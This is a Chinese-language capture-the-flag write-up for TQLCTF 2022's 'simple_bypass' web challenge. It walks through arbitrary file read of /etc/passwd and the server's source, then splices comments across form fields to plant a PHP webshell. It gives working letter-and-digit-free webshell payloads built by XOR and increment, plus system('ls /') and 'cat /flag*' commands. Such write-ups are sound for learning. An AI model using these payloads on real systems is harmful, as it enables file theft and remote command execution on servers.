[TQLCTF 2022]simple_bypass
simple_bypass
首先注册,然后才能登录,一个很粗糙的界面
注意好康的
那里,查看元素,是一串base64编码
base解码转图片,证明了这一点
任意文件读取
然后就可以进根据这个进行任意文件下载
,读取/etc/passwd
http://1.14.71.254:28358/get_pic.php?image=/etc/passwd
查看get_pic.php
http://1.14.71.254:28358/get_pic.php?image=get_pic.php
进行base64解码
<?php error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>
读取index.php(下面是把前端代码删除之后的结果)
http://1.14.71.254:28358/get_pic.php?image=index.php
(下面是把前端代码删除之后的结果)
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
查看template.html,截取部分重要代码
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
</li>
</ul>
<ul class="item">
<li><span class="sitting_btn"></span>系统设置</li>
<li><span class="help_btn"></span>使用指南 <b></b></li>
<li><span class="about_btn"></span>关于我们</li>
<li><span class="logout_btn"></span>退出系统</li>
</ul>
</div>
</div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
源码分析
注意index.php
中的一个危险函数file_put_contents
,如果我们在$content
中扔一个木马,因为file_put_contents('sandbox/'.$hash_user.'.php', $content);
,那么我们就可以将构造一个php木马文件
而$content
是由我们向template.html
中进行某些变量赋值生成的
我们可以控制的参数有user
,pass
,website
,punctuation
,但是pass经过md5
加密以及字符串拼接,所以不考虑在内,而且在template.html
中,website
的位置过于尴尬,利用比较困难,所以也不考虑
然后就看user
和punctuation
,其中对user
有字符串长度不大于6的限制,所以user
不能直接赋值为一个php木马,而punctuation
字符串长度上限为1000,且不能有大小写字母和数字
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
绕过可以参考P佬的文章:一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
不包含数字和字母的webshell
POST传参
user=1)/*&pass=aa&website=&punctuation=*/;$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*
查看根目录
记录一个不包含数字和字母的webshell
user=1)/*&pass=rr&website=&punctuation=*/;@$_%2b%2b;$__='#./|{'^'|~`//';${$__}[!$_](${$__}[$_]);/*
查看根目录
0=assert&1=system("ls /");
查看flag
0=assert&1=system("cat /flag*");